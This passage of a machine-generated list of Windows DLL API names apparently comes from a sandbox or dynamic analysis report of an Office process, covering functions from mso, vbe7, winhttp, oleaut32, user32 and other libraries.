  3311. "wpft532.cnv.GetReadNames",
  3312. "wpft532.cnv.GetWriteNames",
  3313. "wpft532.cnv.UninitConverter",
  3314. "wpft532.cnv.InitConverter32",
  3315. "wpft532.cnv.FFetchSzzClasses",
  3316. "wpft632.cnv.RegisterApp",
  3317. "wpft632.cnv.CchFetchLpszError",
  3318. "wpft632.cnv.IsFormatCorrect32",
  3319. "wpft632.cnv.FRegisterConverter",
  3320. "wpft632.cnv.ForeignToRtf32",
  3321. "wpft632.cnv.GetReadNames",
  3322. "wpft632.cnv.GetWriteNames",
  3323. "wpft632.cnv.UninitConverter",
  3324. "wpft632.cnv.InitConverter32",
  3325. "ncrypt.dll.SslDecryptPacket",
  3326. "winhttp.dll.WinHttpReceiveResponse",
  3327. "winhttp.dll.WinHttpQueryHeaders",
  3328. "winhttp.dll.WinHttpQueryDataAvailable",
  3329. "winhttp.dll.WinHttpReadData",
  3330. "wpft632.cnv.FFetchSzzClasses",
  3331. "webservices.dll.WsCreateError",
  3332. "ntdll.dll.EtwEventWrite",
  3333. "ntdll.dll.EtwEventRegister",
  3334. "ntdll.dll.EtwEventUnregister",
  3335. "webservices.dll.WsCreateHeap",
  3336. "webservices.dll.WsCreateReader",
  3337. "webservices.dll.WsSetInput",
  3338. "webservices.dll.WsFillReader",
  3339. "webservices.dll.WsReadToStartElement",
  3340. "webservices.dll.WsReadStartElement",
  3341. "webservices.dll.WsReadType",
  3342. "winhttp.dll.WinHttpCloseHandle",
  3343. "crypt32.dll.CertFreeCertificateContext",
  3344. "rpcrt4.dll.RpcBindingFree",
  3345. "webservices.dll.WsFreeReader",
  3346. "webservices.dll.WsFreeError",
  3347. "webservices.dll.WsFreeHeap",
  3348. "webservices.dll.WsCreateServiceProxyFromTemplate",
  3349. "winhttp.dll.WinHttpOpenRequest",
  3350. "winhttp.dll.WinHttpAddRequestHeaders",
  3351. "winhttp.dll.WinHttpSendRequest",
  3352. "winhttp.dll.WinHttpConnect",
  3353. "winhttp.dll.WinHttpCrackUrl",
  3354. "winhttp.dll.WinHttpSetStatusCallback",
  3355. "winhttp.dll.WinHttpOpen",
  3356. "winhttp.dll.WinHttpSetOption",
  3357. "winhttp.dll.WinHttpWriteData",
  3358. "winhttp.dll.WinHttpSetCredentials",
  3359. "winhttp.dll.WinHttpQueryAuthSchemes",
  3360. "winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser",
  3361. "winhttp.dll.WinHttpGetProxyForUrl",
  3362. "winhttp.dll.WinHttpQueryOption",
  3363. "webservices.dll.WsOpenServiceProxy",
  3364. "webservices.dll.WsCall",
  3365. "webservices.dll.WsAddCustomHeader",
  3366. "shlwapi.dll.StrStrA",
  3367. "shlwapi.dll.UrlUnescapeA",
  3368. "mso.dll.#5709",
  3369. "oleaut32.dll.#9",
  3370. "oleaut32.dll.#7",
  3371. "mso.dll.#8046",
  3372. "mso.dll.#2923",
  3373. "mso.dll.#8499",
  3374. "mso.dll.#9615",
  3375. "mso.dll.#6588",
  3376. "msi.dll.#111",
  3377. "mso.dll.#4208",
  3378. "mso.dll.#8980",
  3379. "mso.dll.#1006",
  3380. "mso.dll.#7915",
  3381. "mso.dll.#78",
  3382. "mso.dll.#5307",
  3383. "mso.dll.#8647",
  3384. "mso.dll.#408",
  3385. "mso.dll.#2714",
  3386. "mso.dll.#8622",
  3387. "mso.dll.#3380",
  3388. "mso.dll.#387",
  3389. "mso.dll.#9232",
  3390. "mso.dll.#6030",
  3391. "mso.dll.#6859",
  3392. "mso.dll.#6439",
  3393. "mso.dll.#2935",
  3394. "mso.dll.#5810",
  3395. "mso.dll.#4791",
  3396. "mso.dll.#8085",
  3397. "mso.dll.#8931",
  3398. "shell32.dll.SHGetFileInfoW",
  3399. "mso.dll.#5362",
  3400. "mso.dll.#6044",
  3401. "mso.dll.#6516",
  3402. "mso.dll.#6221",
  3403. "mso.dll.#5780",
  3404. "mso.dll.#4870",
  3405. "mso.dll.#6046",
  3406. "mso.dll.#1241",
  3407. "mso.dll.#2821",
  3408. "mso.dll.#2340",
  3409. "mso.dll.#7287",
  3410. "mso.dll.#5290",
  3411. "mso.dll.#1508",
  3412. "user32.dll.IsZoomed",
  3413. "user32.dll.GetWindowPlacement",
  3414. "user32.dll.GetWindowRect",
  3415. "mso.dll.#821",
  3416. "user32.dll.GetSystemMetrics",
  3417. "user32.dll.MonitorFromWindow",
  3418. "user32.dll.MonitorFromRect",
  3419. "user32.dll.MonitorFromPoint",
  3420. "user32.dll.EnumDisplayMonitors",
  3421. "user32.dll.GetMonitorInfoA",
  3422. "user32.dll.EnumDisplayDevicesA",
  3423. "mso.dll.#2378",
  3424. "user32.dll.SetWindowPos",
  3425. "user32.dll.AdjustWindowRect",
  3426. "mso.dll.#5912",
  3427. "mso.dll.#9719",
  3428. "mso.dll.#8824",
  3429. "mso.dll.#6117",
  3430. "mso.dll.#3307",
  3431. "user32.dll.SendMessageW",
  3432. "user32.dll.DestroyIcon",
  3433. "mso.dll.#3813",
  3434. "mso.dll.#1815",
  3435. "user32.dll.PtInRect",
  3436. "mso.dll.#1613",
  3437. "user32.dll.SetWindowTextW",
  3438. "user32.dll.GetClassLongW",
  3439. "mso.dll.#8572",
  3440. "gdi32.dll.CreateDIBSection",
  3441. "gdi32.dll.CreateCompatibleDC",
  3442. "gdi32.dll.GetViewportOrgEx",
  3443. "gdi32.dll.SetViewportOrgEx",
  3444. "gdi32.dll.SetBkColor",
  3445. "gdi32.dll.ExtTextOutA",
  3446. "mso.dll.#1573",
  3447. "gdi32.dll.DeleteDC",
  3448. "mso.dll.#8612",
  3449. "user32.dll.SetScrollRange",
  3450. "mso.dll.#2509",
  3451. "user32.dll.BeginDeferWindowPos",
  3452. "user32.dll.DeferWindowPos",
  3453. "user32.dll.EndDeferWindowPos",
  3454. "user32.dll.OffsetRect",
  3455. "user32.dll.EnumChildWindows",
  3456. "user32.dll.GetScrollInfo",
  3457. "user32.dll.MapWindowPoints",
  3458. "msptls.dll.?FsCreatePageFinite@Ptls6@@YGJPAUfscontext@1@PBUfsbreakrecpage@1@PAUfsnameclient@1@PAU_fsfmtr@1@PAPAUfspage@1@PAPAU31@@Z",
  3459. "msptls.dll.?FsTransformRectangle@Ptls6@@YGJKPBUtagFSRECT@1@0KPAU21@@Z",
  3460. "mso.dll.#6126",
  3461. "msptls.dll.?LsCreateLine@Ptls6@@YGJPAUlscontext@1@PAUlsparaclient@1@PBUlspap@1@JPBUlslinerestr@1@PBUlsbreakrecline@1@PAPAU61@PAUlslinfo@1@PAPAVCLsLine@1@@Z",
  3462. "gdi32.dll.GetFontRealizationInfo",
  3463. "gdi32.dll.GetFontFileInfo",
  3464. "gdi32.dll.GetFontFileData",
  3465. "mso.dll.#7261",
  3466. "mso.dll.#9540",
  3467. "usp10.dll.ScriptGetFontScriptTags",
  3468. "usp10.dll.ScriptGetFontLanguageTags",
  3469. "usp10.dll.ScriptGetFontFeatureTags",
  3470. "msptls.dll.?LsQueryLineVisibilityWord@Ptls6@@YGJPAVCLsLine@1@PAJPAH@Z",
  3471. "msptls.dll.?LsQueryLineMaxDepth@Ptls6@@YGJPAVCLsLine@1@PAJ@Z",
  3472. "msptls.dll.?LsModifyLineHeight@Ptls6@@YGJPAUlscontext@1@PAVCLsLine@1@JJJJ@Z",
  3473. "msptls.dll.?FsTransformPoint@Ptls6@@YGJKPBUtagFSRECT@1@PBUtagFSPOINT@1@KPAU31@@Z",
  3474. "msptls.dll.?FsTransformVector@Ptls6@@YGJKPBUtagFSVECTOR@1@KPAU21@@Z",
  3475. "msptls.dll.?LsDestroyLine@Ptls6@@YGJPAUlscontext@1@PAVCLsLine@1@@Z",
  3476. "msptls.dll.?FsQueryPageDetails@Ptls6@@YGJPAUfscontext@1@PBUfspage@1@PAUfspagedetails@1@@Z",
  3477. "msptls.dll.?FsQueryPageSectionList@Ptls6@@YGJPAUfscontext@1@PBUfspage@1@JPAUfssectiondescription@1@PAJ@Z",
  3478. "msptls.dll.?FsQuerySectionDetails@Ptls6@@YGJPAUfscontext@1@PBUfssection@1@PAUfssectiondetails@1@@Z",
  3479. "msptls.dll.?FsQuerySectionCompositeColumnList@Ptls6@@YGJPAUfscontext@1@PBUfssection@1@JPAUfscompositecolumndescription@1@PAJ@Z",
  3480. "msptls.dll.?FsQueryCompositeColumnDetails@Ptls6@@YGJPAUfscontext@1@PBUfscompositecolumn@1@PAUfscompositecolumndetails@1@@Z",
  3481. "msptls.dll.?FsQueryTrackDetails@Ptls6@@YGJPAUfscontext@1@PBUfstrack@1@PAUfstrackdetails@1@@Z",
  3482. "msptls.dll.?FsQueryTrackParaList@Ptls6@@YGJPAUfscontext@1@PBUfstrack@1@JPAUfsparadescription@1@PAJ@Z",
  3483. "msptls.dll.?FsQueryTextDetails@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@PAUfstextdetails@1@@Z",
  3484. "msptls.dll.?FsQueryLineListComposite@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@JPAUfslinedescriptioncomposite@1@PAJ@Z",
  3485. "msptls.dll.?FsQueryLineCompositeElementList@Ptls6@@YGJPAUfscontext@1@PBUfsline@1@JPAUfslineelement@1@PAJ@Z",
  3486. "msptls.dll.?FsQueryAttachedObjectList@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@JPAUfsattachedobjectdescription@1@PAJ@Z",
  3487. "msptls.dll.?FsQueryFigureObjectDetails@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@PAUfsfiguredetails@1@@Z",
  3488. "mso.dll.#2566",
  3489. "mso.dll.#1429",
  3490. "mso.dll.#6502",
  3491. "uiautomationcore.dll.UiaClientsAreListening",
  3492. "msptls.dll.?FsDestroyPage@Ptls6@@YGJPAUfscontext@1@PAUfspage@1@@Z",
  3493. "msptls.dll.?FsDestroyContext@Ptls6@@YGJPAUfscontext@1@@Z",
  3494. "user32.dll.SetRectEmpty",
  3495. "user32.dll.IntersectRect",
  3496. "user32.dll.InflateRect",
  3497. "mso.dll.#1100",
  3498. "mso.dll.#7047",
  3499. "msptls.dll.?LsQueryLineDup@Ptls6@@YGJPAVCLsLine@1@PAUlslinearea@1@@Z",
  3500. "user32.dll.GetCursor",
  3501. "kernel32.dll.WerRegisterMemoryBlock",
  3502. "oleaut32.dll.#8",
  3503. "mso.dll.#749",
  3504. "user32.dll.GetClientRect",
  3505. "user32.dll.SetScrollInfo",
  3506. "user32.dll.IsWindowEnabled",
  3507. "user32.dll.SetScrollPos",
  3508. "mso.dll.#3747",
  3509. "mso.dll.#5394",
  3510. "mso.dll.#331",
  3511. "mso.dll.#6829",
  3512. "mso.dll.#539",
  3513. "mso.dll.#4959",
  3514. "mso.dll.#6463",
  3515. "mso.dll.#4987",
  3516. "user32.dll.GetWindow",
  3517. "mso.dll.#7195",
  3518. "mso.dll.#7573",
  3519. "mso.dll.#445",
  3520. "user32.dll.GetCaretBlinkTime",
  3521. "user32.dll.CreateCaret",
  3522. "msptls.dll.?LsQueryLineCpPpoint@Ptls6@@YGJPAVCLsLine@1@JJPAUlsqsubinfo@1@PAJPAUlstextcell@1@@Z",
  3523. "user32.dll.DestroyCaret",
  3524. "user32.dll.GetCaretPos",
  3525. "user32.dll.SetCaretPos",
  3526. "mso.dll.#5932",
  3527. "mso.dll.#2071",
  3528. "mso.dll.#1024",
  3529. "mso.dll.#6245",
  3530. "mso.dll.#9041",
  3531. "mso.dll.#1767",
  3532. "mso.dll.#9369",
  3533. "mso.dll.#4617",
  3534. "user32.dll.FillRect",
  3535. "mso.dll.#343",
  3536. "mso.dll.#9636",
  3537. "mso.dll.#2022",
  3538. "mso.dll.#4750",
  3539. "mso.dll.#1262",
  3540. "mso.dll.#4577",
  3541. "mso.dll.#850",
  3542. "shell32.dll.SHAddToRecentDocs",
  3543. "mso.dll.#1776",
  3544. "mso.dll.#9026",
  3545. "mso.dll.#4497",
  3546. "mso.dll.#8926",
  3547. "mso.dll.#7212",
  3548. "mso.dll.#5407",
  3549. "mso.dll.#5152",
  3550. "mso.dll.#3327",
  3551. "bcryptprimitives.dll.GetHashInterface",
  3552. "cryptnet.dll.CertDllVerifyRevocation",
  3553. "mso.dll.#6333",
  3554. "mso.dll.#420",
  3555. "sechost.dll.ConvertSidToStringSidW",
  3556. "profapi.dll.#104",
  3557. "mso.dll.#1335",
  3558. "mso.dll.#2041",
  3559. "mso.dll.#7834",
  3560. "mso.dll.#239",
  3561. "mso.dll.#6357",
  3562. "mso.dll.#7026",
  3563. "mso.dll.#1671",
  3564. "mso.dll.#8263",
  3565. "mso.dll.#9307",
  3566. "mso.dll.#1441",
  3567. "mso.dll.#9223",
  3568. "mso.dll.#6453",
  3569. "mso.dll.#8044",
  3570. "mso.dll.#3698",
  3571. "mso.dll.#8565",
  3572. "mso.dll.#8373",
  3573. "mso.dll.#9741",
  3574. "mso.dll.#478",
  3575. "mso.dll.#479",
  3576. "mso.dll.#340",
  3577. "bcrypt.dll.BCryptOpenAlgorithmProvider",
  3578. "bcrypt.dll.BCryptGetProperty",
  3579. "bcrypt.dll.BCryptCreateHash",
  3580. "bcrypt.dll.BCryptHashData",
  3581. "bcrypt.dll.BCryptFinishHash",
  3582. "bcrypt.dll.BCryptDestroyHash",
  3583. "bcrypt.dll.BCryptCloseAlgorithmProvider",
  3584. "mso.dll.#8633",
  3585. "mso.dll.#5213",
  3586. "mso.dll.#6163",
  3587. "mso.dll.#552",
  3588. "mso.dll.#5630",
  3589. "mso.dll.#1607",
  3590. "sensapi.dll.IsNetworkAlive",
  3591. "mso.dll.#1638",
  3592. "rpcrt4.dll.RpcBindingFromStringBindingW",
  3593. "rpcrt4.dll.RpcBindingSetAuthInfoExW",
  3594. "rpcrt4.dll.NdrClientCall2",
  3595. "mso.dll.#1725",
  3596. "user32.dll.RegisterWindowMessageW",
  3597. "winhttp.dll.WinHttpSetTimeouts",
  3598. "winhttp.dll.WinHttpGetDefaultProxyConfiguration",
  3599. "ole32.dll.PropVariantClear",
  3600. "winhttp.dll.WinHttpTimeFromSystemTime",
  3601. "advapi32.dll.RegQueryValueW",
  3602. "apphelp.dll.ApphelpCheckShellObject",
  3603. "ole32.dll.CoRevokeInitializeSpy",
  3604. "comctl32.dll.#388",
  3605. "mso.dll.#4314",
  3606. "sxs.dll.SxsOleAut32MapReferenceClsidToConfiguredClsid",
  3607. "mso.dll.#6484",
  3608. "sxs.dll.SxsOleAut32RedirectTypeLibrary",
  3609. "advapi32.dll.RegOpenKeyW",
  3610. "mso.dll.#2183",
  3611. "mso.dll.#2161",
  3612. "vbe7.dll.DllVbeInit",
  3613. "msi.dll.MsiProvideQualifiedComponentA",
  3614. "msi.dll.MsiGetProductCodeA",
  3615. "msi.dll.MsiReinstallFeatureA",
  3616. "msi.dll.MsiProvideComponentA",
  3617. "kernel32.dll.HeapSetInformation",
  3618. "advapi32.dll.EventWrite",
  3619. "advapi32.dll.EventRegister",
  3620. "advapi32.dll.EventUnregister",
  3621. "kernel32.dll.InitializeCriticalSectionAndSpinCount",
  3622. "vbeui.dll._MsoVBADigSigCallDlg@20",
  3623. "vbeui.dll._MsoVbaInitSecurity@4",
  3624. "vbeui.dll._MsoFIEPolicyAndVersion@8",
  3625. "vbeui.dll._MsoFAnsiCodePageSupportsLCID@8",
  3626. "vbeui.dll._MsoFInitOffice@20",
  3627. "vbeui.dll._MsoUninitOffice@4",
  3628. "vbeui.dll._MsoFGetFontSettings@20",
  3629. "vbeui.dll._MsoRgchToRgwch@16",
  3630. "vbeui.dll._MsoHrSimpleQueryInterface@16",
  3631. "vbeui.dll._MsoHrSimpleQueryInterface2@20",
  3632. "vbeui.dll._MsoFCreateControl@36",
  3633. "vbeui.dll._MsoFLongLoad@8",
  3634. "vbeui.dll._MsoFLongSave@8",
  3635. "vbeui.dll._MsoFGetTooltips@0",
  3636. "vbeui.dll._MsoFSetTooltips@4",
  3637. "vbeui.dll._MsoFLoadToolbarSet@24",
  3638. "vbeui.dll._MsoFCreateToolbarSet@28",
  3639. "vbeui.dll._MsoHpalOffice@0",
  3640. "vbeui.dll._MsoFWndProcNeeded@4",
  3641. "vbeui.dll._MsoFWndProc@24",
  3642. "vbeui.dll._MsoFCreateITFCHwnd@20",
  3643. "vbeui.dll._MsoDestroyITFC@4",
  3644. "vbeui.dll._MsoFPitbsFromHwndAndMsg@12",
  3645. "vbeui.dll._MsoFGetComponentManager@4",
  3646. "vbeui.dll._MsoMultiByteToWideChar@24",
  3647. "vbeui.dll._MsoWideCharToMultiByte@32",
  3648. "vbeui.dll._MsoHrRegisterAll@0",
  3649. "vbeui.dll._MsoFSetComponentManager@4",
  3650. "vbeui.dll._MsoFCreateStdComponentManager@20",
  3651. "vbeui.dll._MsoFHandledMessageNeeded@4",
  3652. "vbeui.dll._MsoPeekMessage@8",
  3653. "vbeui.dll._MsoFCreateIPref@28",
  3654. "vbeui.dll._MsoDestroyIPref@4",
  3655. "vbeui.dll._MsoChsFromLid@4",
  3656. "vbeui.dll._MsoCpgFromChs@4",
  3657. "vbeui.dll._MsoSetLocale@4",
  3658. "vbeui.dll._MsoFSetHMsoinstOfSdm@4",
  3659. "vbeui.dll._MsoSetVbaInterfaces@8",
  3660. "vbeui.dll._MsoGetControlInstanceId@8",
  3661. "oleaut32.dll.SysFreeString",
  3662. "oleaut32.dll.LoadTypeLib",
  3663. "oleaut32.dll.RegisterTypeLib",
  3664. "oleaut32.dll.QueryPathOfRegTypeLib",
  3665. "oleaut32.dll.UnRegisterTypeLib",
  3666. "oleaut32.dll.OleTranslateColor",
  3667. "oleaut32.dll.OleCreateFontIndirect",
  3668. "oleaut32.dll.OleCreatePictureIndirect",
  3669. "oleaut32.dll.OleLoadPicture",
  3670. "oleaut32.dll.OleCreatePropertyFrameIndirect",
  3671. "oleaut32.dll.OleCreatePropertyFrame",
  3672. "oleaut32.dll.OleIconToCursor",
  3673. "oleaut32.dll.LoadTypeLibEx",
  3674. "oleaut32.dll.OleLoadPictureEx",
  3675. "oleaut32.dll.DispCallFunc",
  3676. "oleaut32.dll.CreateTypeLib2",
  3677. "oleaut32.dll.VarDateFromUdate",
  3678. "oleaut32.dll.VarUdateFromDate",
  3679. "oleaut32.dll.GetAltMonthNames",
  3680. "oleaut32.dll.VarNumFromParseNum",
  3681. "oleaut32.dll.VarParseNumFromStr",
  3682. "oleaut32.dll.VarDecFromR4",
  3683. "oleaut32.dll.VarDecFromR8",
  3684. "oleaut32.dll.VarDecFromDate",
  3685. "oleaut32.dll.VarDecFromI4",
  3686. "oleaut32.dll.VarDecFromCy",
  3687. "oleaut32.dll.VarR4FromDec",
  3688. "oleaut32.dll.GetRecordInfoFromTypeInfo",
  3689. "oleaut32.dll.GetRecordInfoFromGuids",
  3690. "oleaut32.dll.SafeArrayGetRecordInfo",
  3691. "oleaut32.dll.SafeArraySetRecordInfo",
  3692. "oleaut32.dll.SafeArrayGetIID",
  3693. "oleaut32.dll.SafeArraySetIID",
  3694. "oleaut32.dll.SafeArrayCopyData",
  3695. "oleaut32.dll.SafeArrayAllocDescriptorEx",
  3696. "oleaut32.dll.SafeArrayCreateEx",
  3697. "oleaut32.dll.VarFormat",
  3698. "oleaut32.dll.VarFormatDateTime",
  3699. "oleaut32.dll.VarFormatNumber",
  3700. "oleaut32.dll.VarFormatPercent",
  3701. "oleaut32.dll.VarFormatCurrency",
  3702. "oleaut32.dll.VarWeekdayName",
  3703. "oleaut32.dll.VarMonthName",
  3704. "oleaut32.dll.VarAdd",
  3705. "oleaut32.dll.VarAnd",
  3706. "oleaut32.dll.VarCat",
  3707. "oleaut32.dll.VarDiv",
  3708. "oleaut32.dll.VarEqv",
  3709. "oleaut32.dll.VarIdiv",
  3710. "oleaut32.dll.VarImp",
  3711. "oleaut32.dll.VarMod",
  3712. "oleaut32.dll.VarMul",
  3713. "oleaut32.dll.VarOr",
  3714. "oleaut32.dll.VarPow",
  3715. "oleaut32.dll.VarSub",
  3716. "oleaut32.dll.VarXor",
  3717. "oleaut32.dll.VarAbs",
  3718. "oleaut32.dll.VarFix",
  3719. "oleaut32.dll.VarInt",
  3720. "oleaut32.dll.VarNeg",
  3721. "oleaut32.dll.VarNot",
  3722. "oleaut32.dll.VarRound",
  3723. "oleaut32.dll.VarCmp",
  3724. "oleaut32.dll.VarDecAdd",
  3725. "oleaut32.dll.VarDecCmp",
  3726. "oleaut32.dll.VarBstrCat",
  3727. "oleaut32.dll.VarCyMulI4",
  3728. "oleaut32.dll.VarBstrCmp",
  3729. "ole32.dll.CoCreateInstanceEx",
  3730. "ole32.dll.CLSIDFromProgIDEx",
  3731. "mso.dll.#5772",
  3732. "mso.dll.#9885",
  3733. "mso.dll.#4262",
  3734. "mso.dll.#5512",
  3735. "advapi32.dll.RegEnumKeyW",
  3736. "sxs.dll.SxsOleAut32MapConfiguredClsidToReferenceClsid",
  3737. "mso.dll.#4909",
  3738. "shlwapi.dll.StrStrIW",
  3739. "mso.dll.#615",
  3740. "user32.dll.IsWindow",
  3741. "user32.dll.RedrawWindow",
  3742. "mso.dll.#1144",
  3743. "advapi32.dll.RegDeleteTreeW",
  3744. "xmllite.dll.CreateXmlReader",
  3745. "cryptnet.dll.I_CryptNetGetConnectivity",
  3746. "cryptnet.dll.CryptRetrieveObjectByUrlW",
  3747. "setupapi.dll.SetupIterateCabinetW",
  3748. "kernel32.dll.RegOpenKeyExW",
  3749. "kernel32.dll.RegCloseKey",
  3750. "cabinet.dll.#20",
  3751. "cabinet.dll.#22",
  3752. "devrtl.dll.DevRtlGetThreadLogToken",
  3753. "cryptsp.dll.CryptSetHashParam",
  3754. "sechost.dll.OpenSCManagerW",
  3755. "sechost.dll.OpenServiceW",
  3756. "sechost.dll.QueryServiceConfigA",
  3757. "sechost.dll.QueryServiceStatus",
  3758. "sechost.dll.CloseServiceHandle",
  3759. "rpcrt4.dll.RpcStringBindingComposeA",
  3760. "rpcrt4.dll.RpcBindingFromStringBindingA",
  3761. "rpcrt4.dll.RpcEpResolveBinding",
  3762. "sechost.dll.LookupAccountSidLocalW",
  3763. "rpcrt4.dll.RpcStringFreeA",
  3764. "webservices.dll.WsResetHeap",
  3765. "webservices.dll.WsCloseServiceProxy",
  3766. "ws2_32.dll.#3",
  3767. "ncrypt.dll.SslDecrementProviderReferenceCount",
  3768. "ncrypt.dll.SslFreeObject",
  3769. "webservices.dll.WsFreeServiceProxy",
  3770. "oleaut32.dll.RegisterTypeLibForUser",
  3771. "mso.dll.#1256",
  3772. "comctl32.dll.ImageList_Destroy",
  3773. "comctl32.dll.ImageList_GetIconSize",
  3774. "comctl32.dll.InitCommonControls",
  3775. "comctl32.dll.ImageList_LoadImageA",
  3776. "comctl32.dll.ImageList_SetOverlayImage",
  3777. "comctl32.dll.ImageList_AddMasked",
  3778. "comctl32.dll.ImageList_GetImageInfo",
  3779. "comctl32.dll.ImageList_Draw",
  3780. "comctl32.dll.ImageList_DrawEx",
  3781. "comctl32.dll.PropertySheetA",
  3782. "comctl32.dll.DestroyPropertySheetPage",
  3783. "comctl32.dll.CreatePropertySheetPageA",
  3784. "user32.dll.GetSysColor",
  3785. "user32.dll.SystemParametersInfoA",
  3786. "user32.dll.GetDC",
  3787. "user32.dll.ReleaseDC",
  3788. "user32.dll.LoadCursorA",
  3789. "user32.dll.RegisterClipboardFormatA",
  3790. "user32.dll.RegisterWindowMessageA",
  3791. "kernel32.dll.QueryActCtxW",
  3792. "kernel32.dll.ActivateActCtx",
  3793. "kernel32.dll.FindActCtxSectionStringW",
  3794. "kernel32.dll.DeactivateActCtx",
  3795. "user32.dll.RegisterClassA",
  3796. "comctl32.dll.RegisterClassNameW",
  3797. "uxtheme.dll.OpenThemeData",
  3798. "uxtheme.dll.GetThemeColor",
  3799. "uxtheme.dll.IsThemePartDefined",
  3800. "uxtheme.dll.GetThemeBool",
  3801. "uxtheme.dll.GetThemeFont",
  3802. "comctl32.dll.HIMAGELIST_QueryInterface",
  3803. "comctl32.dll.DrawShadowText",
  3804. "comctl32.dll.DrawSizeBox",
  3805. "comctl32.dll.DrawScrollBar",
  3806. "comctl32.dll.SizeBoxHwnd",
  3807. "comctl32.dll.ScrollBar_MouseMove",
  3808. "comctl32.dll.ScrollBar_Menu",
  3809. "comctl32.dll.HandleScrollCmd",
  3810. "comctl32.dll.DetachScrollBars",
  3811. "comctl32.dll.AttachScrollBars",
  3812. "comctl32.dll.CCSetScrollInfo",
  3813. "comctl32.dll.CCGetScrollInfo",
  3814. "comctl32.dll.CCEnableScrollBar",
  3815. "comctl32.dll.QuerySystemGestureStatus",
  3816. "uxtheme.dll.#49",
  3817. "mso.dll.#656",
  3818. "user32.dll.GetFocus",
  3819. "mso.dll.#7640",
  3820. "user32.dll.GetScrollRange",
  3821. "uxtheme.dll.GetThemeMargins",
  3822. "uxtheme.dll.GetThemeInt",
  3823. "uxtheme.dll.SetWindowTheme",
  3824. "uxtheme.dll.CloseThemeData",
  3825. "imm32.dll.ImmAssociateContext",
  3826. "uxtheme.dll.EnableThemeDialogTexture",
  3827. "gdi32.dll.GdiIsMetaPrintDC",
  3828. "imm32.dll.ImmIsIME",
  3829. "uxtheme.dll.GetThemeTextMetrics",
  3830. "uxtheme.dll.GetThemeTextExtent",
  3831. "uxtheme.dll.GetThemeBackgroundExtent",
  3832. "user32.dll.EqualRect",
  3833. "user32.dll.GetActiveWindow",
  3834. "user32.dll.SetRect",
  3835. "user32.dll.CreateWindowExA",
  3836. "user32.dll.DefWindowProcA",
  3837. "user32.dll.SetWindowLongA",
  3838. "user32.dll.GetWindowLongA",
  3839. "user32.dll.IsWindowUnicode",
  3840. "user32.dll.SetWindowTextA",
  3841. "user32.dll.IsWindowVisible",
  3842. "user32.dll.GetParent",
  3843. "user32.dll.IsIconic",
  3844. "user32.dll.IsRectEmpty",
  3845. "user32.dll.NotifyWinEvent",
  3846. "user32.dll.UpdateWindow",
  3847. "user32.dll.ShowWindow",
  3848. "user32.dll.LoadStringW",
  3849. "user32.dll.LoadAcceleratorsW",
  3850. "riched20.dll.CreateTextServices",
  3851. "user32.dll.RegisterClipboardFormatW",
  3852. "user32.dll.GetDoubleClickTime",
  3853. "user32.dll.SetCaretBlinkTime",
  3854. "user32.dll.SystemParametersInfoW",
  3855. "user32.dll.GetKeyboardLayoutList",
  3856. "mso.dll._MsoGetFidUspDll@0",
  3857. "mso.dll._MsoLoadLocalizedLibraryEx@12",
  3858. "usp10.dll.ScriptGetProperties",
  3859. "usp10.dll.ScriptItemize",
  3860. "user32.dll.LoadCursorW",
  3861. "user32.dll.GetKeyboardLayout",
  3862. "ole32.dll.CoCreateInstance",
  3863. "usp10.dll.ScriptGetCMap",
  3864. "user32.dll.SetWindowLongW",
  3865. "user32.dll.GetWindowLongW",
  3866. "user32.dll.PostMessageW",
  3867. "user32.dll.InvalidateRect",
  3868. "usp10.dll.ScriptShape",
  3869. "user32.dll.LoadBitmapW",
  3870. "user32.dll.GetUpdateRect",
  3871. "user32.dll.DestroyWindow",
  3872. "vbe7.dll.#526",
  3873. "vbe7.dll.#632",
  3874. "vbe7.dll.#522",
  3875. "vbe7.dll.#713",
  3876. "vbe7.dll.#524",
  3877. "vbe7.dll.#608",
  3878. "vbe7.dll.#601",
  3879. "vbe7.dll.#716",
  3880. "mso.dll.#8735",
  3881. "oleaut32.dll.SysAllocStringLen",
  3882. "oleaut32.dll.#28",
  3883. "oleaut32.dll.#12",
  3884. "oleaut32.dll.#4",
  3885. "oleaut32.dll.#6",
  3886. "cryptnet.dll.CryptGetObjectUrl",
  3887. "user32.dll.RegisterPowerSettingNotification",
  3888. "powrprof.dll.PowerSettingRegisterNotification",
  3889. "user32.dll.GetWindowThreadProcessId",
  3890. "user32.dll.GetWindowTextW",
  3891. "cryptnet.dll.I_CryptNetSetUrlCacheFlushInfo",
  3892. "cryptnet.dll.I_CryptNetSetUrlCachePreFetchInfo",
  3893. "oleaut32.dll.#2",
  3894. "ole32.dll.CreateStreamOnHGlobal",
  3895. "ole32.dll.GetHGlobalFromStream",
  3896. "shlwapi.dll.StrStrIA",
  3897. "shlwapi.dll.StrChrA",
  3898. "vbe7.dll.#598",
  3899. "vbe7.dll.#648",
  3900. "vbe7.dll.#645",
  3901. "vbe7.dll.#529",
  3902. "user32.dll.GetCursorPos",
  3903. "kernel32.dll.Sleep",
  3904. "winhttp.dll.WinHttpCreateUrl",
  3905. "kernel32.dll.RegQueryValueExW",
  3906. "oleaut32.dll.#411",
  3907. "oleaut32.dll.#23",
  3908. "oleaut32.dll.#24",
  3909. "oleaut32.dll.#162",
  3910. "oleaut32.dll.#201",
  3911. "ole32.dll.OleInitialize",
  3912. "comctl32.dll.#327",
  3913. "ole32.dll.ReleaseStgMedium",
  3914. "propsys.dll.PSLookupPropertyHandlerCLSID",
  3915. "advapi32.dll.RegOpenKeyExW",
  3916. "advapi32.dll.RegQueryValueExW",
  3917. "advapi32.dll.RegCloseKey",
  3918. "propsys.dll.PSCreatePropertyStoreFromObject",
  3919. "propsys.dll.#417",
  3920. "propsys.dll.PropVariantToStringAlloc",
  3921. "ole32.dll.CoTaskMemRealloc",
  3922. "ole32.dll.CLSIDFromString",
  3923. "comctl32.dll.#321",
  3924. "ole32.dll.CoAllowSetForegroundWindow",
  3925. "advapi32.dll.SaferGetPolicyInformation",
  3926. "ntdll.dll.RtlDllShutdownInProgress",
  3927. "comctl32.dll.#329",
  3928. "comctl32.dll.TaskDialogIndirect",
  3929. "ws2_32.dll.#22",
  3930. "comctl32.dll.LoadIconWithScaleDown",
  3931. "ntdll.dll.RtlRunEncodeUnicodeString",
  3932. "ntdll.dll.RtlInitUnicodeString",
  3933. "ntdll.dll.RtlRunDecodeUnicodeString",
  3934. "duser.dll.InitGadgets",
